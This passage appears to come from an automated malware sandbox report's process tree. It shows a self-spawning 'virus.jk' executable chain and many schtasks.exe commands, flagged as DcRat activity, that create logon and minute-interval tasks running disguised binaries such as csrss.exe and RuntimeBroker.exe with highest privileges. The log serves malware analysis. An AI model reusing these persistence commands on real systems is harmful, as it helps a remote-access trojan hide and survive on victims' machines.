        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        28⤵
        
        PID:1000
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        29⤵
        
        PID:8456
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        30⤵
        
        PID:8728
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        31⤵
        
        PID:9036
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        32⤵
        
        PID:8196
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        33⤵
        
        PID:8572
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        34⤵
        
        PID:5400
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        35⤵
        
        PID:8916
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        36⤵
        
        PID:7240
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        37⤵
        
        PID:7864
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        38⤵
        
        PID:6132
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        39⤵
        
        PID:3952
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        40⤵
        
        PID:8176
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        41⤵
        
        PID:5220
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        42⤵
        
        PID:5996
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        43⤵
        
        PID:5644
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        44⤵
        
        PID:1900
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        45⤵
        
        PID:7332
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        46⤵
        
        PID:7116
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        47⤵
        
        PID:6904
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        48⤵
        
        PID:1636
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        49⤵
        
        PID:5212
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        50⤵
        
        PID:8852
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        51⤵
        
        PID:8468

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca
1⤵
- Suspicious use of SetWindowsHookEx
PID:4736

C:\Windows\helppane.exe
C:\Windows\helppane.exe -Embedding
1⤵
PID:1656
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument microsoft-edge:https://go.microsoft.com/fwlink/?LinkId=528881
  2⤵
  PID:7040
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument microsoft-edge:https://go.microsoft.com/fwlink/?LinkId=528881
  2⤵
  PID:6732
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ff8038b3cb8,0x7ff8038b3cc8,0x7ff8038b3cd8
    3⤵
    PID:6816
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2024,17982793979017000056,10632651207970731317,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2036 /prefetch:2
    3⤵
    PID:6784
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2024,17982793979017000056,10632651207970731317,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2088 /prefetch:3
    3⤵
    PID:6380
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2024,17982793979017000056,10632651207970731317,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2444 /prefetch:8
    3⤵
    PID:6120
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,17982793979017000056,10632651207970731317,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3172 /prefetch:1
    3⤵
    PID:6284
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,17982793979017000056,10632651207970731317,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3188 /prefetch:1
    3⤵
    PID:6900
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,17982793979017000056,10632651207970731317,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2204 /prefetch:1
    3⤵
    PID:8816
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,17982793979017000056,10632651207970731317,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5124 /prefetch:1
    3⤵
    PID:4056
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,17982793979017000056,10632651207970731317,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5188 /prefetch:1
    3⤵
    PID:7408
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,17982793979017000056,10632651207970731317,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5264 /prefetch:1
    3⤵
    PID:8452
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,17982793979017000056,10632651207970731317,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5256 /prefetch:1
    3⤵
    PID:8456
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,17982793979017000056,10632651207970731317,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3304 /prefetch:1
    3⤵
    PID:3752
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,17982793979017000056,10632651207970731317,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3220 /prefetch:1
    3⤵
    PID:8264

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 9 /tr "'C:\Program Files\VideoLAN\VLC\hrtfs\RuntimeBroker.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5540

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\Idle.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5532

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\Idle.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5940

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files\VideoLAN\VLC\hrtfs\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6020

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5768

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Program Files\VideoLAN\VLC\hrtfs\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5468

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 6 /tr "'C:\Users\Default User\csrss.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
PID:5696

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\csrss.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5960

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Users\Default User\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5392

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\csrss.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5940

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 13 /tr "'C:\Users\Default User\csrss.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5704

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 7 /tr "'C:\Recovery\WindowsRE\csrss.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6176

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 12 /tr "'C:\Program Files\Microsoft Office 15\ClientX64\wininit.exe'" /f
1⤵
- Process spawned unexpected child process
PID:6360

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "5e710462c65fe899466e4fb7c1e33c9a5" /sc MINUTE /mo 7 /tr "'C:\Users\All Users\Microsoft\5e710462c65fe899466e4fb7c1e33c9a.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6392

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "5e710462c65fe899466e4fb7c1e33c9a" /sc ONLOGON /tr "'C:\Users\All Users\Microsoft\5e710462c65fe899466e4fb7c1e33c9a.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
PID:6464

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Program Files\Microsoft Office 15\ClientX64\wininit.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
PID:6580

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "5e710462c65fe899466e4fb7c1e33c9a5" /sc MINUTE /mo 6 /tr "'C:\Users\All Users\Microsoft\5e710462c65fe899466e4fb7c1e33c9a.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6700

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 5 /tr "'C:\Program Files\Microsoft Office 15\ClientX64\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:6856

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 12 /tr "'C:\Program Files\Internet Explorer\Registry.exe'" /f
1⤵
- Process spawned unexpected child process
PID:7000

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 13 /tr "'C:\Recovery\WindowsRE\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
PID:7024

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\Program Files\Internet Explorer\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:7064

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:7164

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 6 /tr "'C:\Program Files\Internet Explorer\Registry.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
PID:1276

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 6788 -ip 6788
1⤵
PID:6284

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5588

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\OfficeClickToRun.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6320

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "firefoxf" /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\firefox.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
PID:6644

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\WindowsPowerShell\Configuration\WmiPrvSE.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6676

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRun" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\OfficeClickToRun.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6568

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\OfficeClickToRun.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6612

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "firefox" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\firefox.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:6460

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 6 /tr "'C:\Windows\InboxApps\sysmon.exe'" /f
1⤵
- Process spawned unexpected child process
PID:6924

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Program Files (x86)\WindowsPowerShell\Configuration\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6328

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "firefoxf" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\firefox.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
PID:7060

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmon" /sc ONLOGON /tr "'C:\Windows\InboxApps\sysmon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6268

C:\Windows\system32\schtasks.exe
